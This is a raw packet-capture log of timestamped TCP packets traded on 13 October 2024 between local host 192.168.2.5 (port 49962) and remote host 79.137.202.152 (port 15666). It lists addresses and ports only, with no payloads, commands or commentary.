Oct 13, 2024 01:40:45.148600101 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.148621082 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.148650885 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.148699999 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.148751974 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.148768902 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.148796082 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.148819923 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.148847103 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.148883104 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.148933887 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.148942947 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.148992062 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.149163008 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.149190903 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.149221897 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.149244070 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.149264097 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.149291039 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.149317980 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.149339914 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.149368048 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.149420023 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.149434090 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.149488926 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.149498940 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.149548054 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.149555922 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.149575949 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.149601936 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.149604082 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.149632931 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.149655104 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.149662971 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.149683952 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.149725914 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.149745941 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.149758101 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.149785995 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.149808884 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.149827003 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.149837017 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.149864912 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.149888992 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.149892092 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.149909019 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.149919987 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.149946928 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.149950027 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.149969101 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.149974108 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.149990082 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.150002003 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.150016069 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.150029898 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.150052071 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.150057077 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.150070906 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.150084972 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.150106907 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.150111914 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.150127888 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.150144100 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.150167942 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.150192022 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.196048975 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.196367979 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.196505070 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.196556091 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.203239918 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.206020117 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.206113100 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.206155062 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.211405039 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.211467028 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.211515903 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.211540937 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.211544037 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.211568117 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.211571932 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.211601973 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.211608887 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.211630106 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.211653948 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.211657047 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.211683989 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.211684942 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.211710930 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.211733103 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.211740971 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.211761951 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.211788893 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.211791039 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.211813927 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.211817026 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.211844921 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.211862087 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.211886883 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.211895943 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.211925030 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.211951971 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.211965084 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.211978912 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212001085 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.212007046 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212033987 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.212034941 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212053061 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.212063074 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212090969 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212100029 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.212117910 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212126017 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.212167025 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.212176085 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212204933 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212234020 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212239981 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.212260962 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212263107 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.212284088 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.212289095 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212306976 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.212316990 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212343931 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212352037 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.212371111 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212378025 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.212409973 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.212420940 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212430954 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.212450027 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212476969 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212477922 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.212505102 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.212527990 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.212552071 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212582111 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212608099 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212616920 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.212635040 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212639093 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.212657928 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.212662935 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212682009 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.212691069 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212703943 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.212721109 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212749004 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212774992 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212802887 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212831020 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212857008 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212883949 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212910891 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212944031 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.212961912 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212991953 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.212991953 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.213020086 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.213022947 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.213047981 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.213048935 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.213066101 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.213078022 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.213104963 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.213116884 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.213134050 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.213145018 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.213160992 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.213167906 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.213188887 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.213188887 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.213202000 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.213211060 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.213212967 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.213243008 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.213268995 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.213295937 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.213323116 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.213323116 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.213350058 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.213376999 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.213386059 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.213404894 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.213423014 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.213433027 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.213449001 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.213462114 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.213502884 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.213546038 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.218441010 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.218494892 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.218571901 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.218601942 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.218631029 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.218668938 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.218697071 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.218702078 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.218729973 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.218772888 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.218801975 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.218816042 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.218866110 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.218885899 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.218947887 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.218947887 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.219027042 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.219063044 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.219110966 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.219126940 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.219141006 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.219160080 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.219221115 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.264251947 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.266793013 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.267000914 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.267075062 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.274163961 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.274398088 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.274528027 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.274602890 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.279536963 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.279567003 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.279640913 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.279666901 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.279689074 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.279721022 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.279774904 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.279828072 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.279855967 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.279882908 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.279912949 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.279920101 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.279999018 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.280049086 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.280107021 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.280178070 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.280205011 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.280237913 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.280237913 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.280266047 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.280268908 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.280297041 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.280313015 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.280323029 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.280342102 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.280386925 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.280389071 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.280419111 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.280457020 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.280466080 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.280488014 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.280493975 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.280545950 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.280580044 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.280616045 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.280643940 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.280692101 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.280710936 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.280718088 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.280745983 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.280795097 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.280796051 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.280859947 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.281944990 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.282000065 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.282011032 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.282027960 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.282054901 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.282056093 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.282075882 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.282083035 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.282110929 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.282111883 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.282135010 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.282139063 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.282154083 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.282166958 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.282186985 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.282195091 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.282216072 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.282223940 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.282249928 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.282250881 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.282274961 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.282279015 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.282300949 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.282308102 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.282330036 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.282339096 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.282365084 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.282371044 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.282386065 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.282396078 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.282409906 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.282423973 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.282448053 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.282476902 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.285067081 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.285115957 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.285155058 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.285168886 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.285171032 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.285228968 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.285240889 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.285290003 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.285307884 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.285336971 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.287659883 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.287691116 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.287718058 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.287744999 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.287771940 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.287776947 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.287802935 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.287827969 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.287837029 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.287856102 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.287894964 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.287925959 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.287935972 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.287966013 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.287992954 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.288044930 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.288047075 CEST	15666	49962	79.137.202.152	192.168.2.5
